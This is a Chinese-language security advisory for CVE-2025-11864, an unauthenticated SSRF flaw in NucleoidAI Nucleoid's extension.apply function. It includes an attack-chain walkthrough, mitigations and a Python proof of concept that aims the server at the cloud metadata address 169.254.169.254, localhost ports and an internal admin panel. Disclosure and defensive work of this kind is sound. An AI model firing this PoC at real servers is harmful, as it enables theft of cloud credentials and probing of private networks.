IPBUF安全漏洞报告
English
CVE-2025-11864 CVSS 7.3 高危

CVE-2025-11864:NucleoidAI Nucleoid SSRF服务器端请求伪造漏洞

披露日期: 2025-10-16

漏洞信息

漏洞编号
CVE-2025-11864
漏洞类型
服务器端请求伪造(SSRF)
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
NucleoidAI Nucleoid

相关标签

SSRF服务器端请求伪造NucleoidAINucleoid高危漏洞远程攻击无需认证出站请求处理器cluster.tsextension.apply

漏洞概述

CVE-2025-11864是NucleoidAI Nucleoid 0.7.10及以下版本中存在的一个高危服务器端请求伪造(SSRF)漏洞。该漏洞位于Nucleoid的集群模块(/src/cluster.ts文件)中,具体涉及extension.apply函数,属于出站请求处理器(Outbound Request Handler)组件的一部分。攻击者可以通过操控https、ip、port、path、headers等参数,诱使服务器端向任意目标发起请求,从而实现SSRF攻击。

由于该漏洞的攻击向量为网络(AV:N),且无需认证(PR:N)和用户交互(UI:N),远程攻击者可以直接利用此漏洞发起攻击。根据CVSS 3.1评分标准,该漏洞的综合评分为7.3分,属于高危级别。漏洞对机密性、完整性和可用性均产生低级别影响(C:L/I:L/A:L),但其作为SSRF漏洞的特性,可能被用于进一步的内网探测、敏感信息泄露或作为攻击链中的关键环节。

该漏洞由[email protected]于2025年10月16日披露,并已在NVD、CVE.org等多个漏洞数据库中登记。漏洞影响范围明确,针对使用NucleoidAI Nucleoid 0.7.10及以下版本的应用程序均存在被攻击的风险。建议相关用户尽快采取修复措施以消除安全隐患。

技术细节

该漏洞的核心问题在于NucleoidAI Nucleoid的集群模块中extension.apply函数对用户输入参数的验证不足。具体而言,/src/cluster.ts文件中的extension.apply函数负责处理出站请求,但在处理https/ip/port/path/headers等参数时,未能对这些参数进行充分的合法性校验和过滤。

从技术层面分析,SSRF漏洞的形成原因主要有以下几点:
1. 参数可控:攻击者可以通过构造特定的请求,控制目标URL的协议(https)、IP地址、端口、路径以及HTTP头部信息。
2. 缺乏输入验证:服务端未对用户提供的URL或网络参数进行严格的验证,允许指向内部网络地址(如127.0.0.1、192.168.x.x、10.x.x.x等私有IP地址段)。
3. 请求转发机制:extension.apply函数会根据用户提供的参数构造出站请求并发送,这使得攻击者可以利用服务器作为代理,访问原本无法直接访问的内部资源。

利用方式方面,攻击者可以通过向Nucleoid服务发送精心构造的请求,操控extension.apply函数中的参数,使其向任意目标发起HTTP/HTTPS请求。常见的攻击场景包括:访问云元数据服务(如AWS的169.254.169.254)获取敏感凭证、扫描内网端口和服务、读取本地文件(如通过file://协议)、绕过访问控制访问受限资源等。由于该漏洞无需认证即可利用,且攻击可远程执行,威胁程度较高。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先识别目标系统是否运行NucleoidAI Nucleoid 0.7.10及以下版本,通过端口扫描、服务指纹识别等方式确认目标。
STEP 2
步骤2:构造恶意请求
攻击者构造包含恶意参数的HTTP请求,操控extension.apply函数的https/ip/port/path/headers参数,指定内部网络地址或受限资源作为请求目标。
STEP 3
步骤3:发送攻击请求
攻击者通过远程方式向Nucleoid服务发送构造好的恶意请求,由于漏洞无需认证和用户交互,请求可直接被处理。
STEP 4
步骤4:服务器执行SSRF
Nucleoid服务的extension.apply函数接收恶意参数后,未进行充分验证即构造出站请求并发送至攻击者指定的目标地址。
STEP 5
步骤5:获取敏感信息或进一步攻击
服务器返回的响应内容被发送给攻击者,攻击者可以获取内部网络信息、云元数据凭证,或利用此漏洞作为跳板进行进一步的内网渗透攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11864 PoC - NucleoidAI Nucleoid SSRF # Vulnerability: Server-Side Request Forgery in extension.apply function # Affected file: /src/cluster.ts # Affected versions: <= 0.7.10 import requests TARGET_URL = "http://target-nucleoid-server:PORT" # The extension.apply function accepts user-controlled parameters # including https/ip/port/path/headers, allowing SSRF attacks def exploit_ssrf(target, internal_ip, internal_port, path="/"): """ Exploit SSRF via extension.apply function in cluster.ts By manipulating the https/ip/port/path/headers arguments, an attacker can force the server to make requests to arbitrary destinations. """ # Craft payload to trigger SSRF through extension.apply payload = { "https": False, "ip": internal_ip, "port": internal_port, "path": path, "headers": { "Content-Type": "application/json" } } # Send request to the vulnerable extension.apply endpoint response = requests.post( f"{target}/api/extension/apply", json=payload, timeout=10 ) print(f"[*] SSRF Response Status: {response.status_code}") print(f"[*] SSRF Response Body: {response.text}") return response # Example usage: Access internal metadata service if __name__ == "__main__": # Example 1: Access AWS metadata service print("[+] Attempting to access internal metadata service...") exploit_ssrf(TARGET_URL, "169.254.169.254", 80, "/latest/meta-data/") # Example 2: Scan internal network print("[+] Attempting internal port scan...") exploit_ssrf(TARGET_URL, "127.0.0.1", 8080, "/") # Example 3: Access internal services print("[+] Attempting to access internal admin panel...") exploit_ssrf(TARGET_URL, "192.168.1.1", 80, "/admin")

影响范围

NucleoidAI Nucleoid <= 0.7.10

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)对Nucleoid服务所在的服务器实施网络隔离,限制其对内部网络和敏感服务的访问;2)在反向代理或API网关层面添加SSRF防护规则,验证和过滤出站请求的目标地址;3)对extension.apply相关接口进行访问控制,限制可调用该功能的IP地址或用户;4)部署入侵检测系统(IDS)监控异常的出站请求行为;5)定期审计Nucleoid服务的日志,排查可疑的请求记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表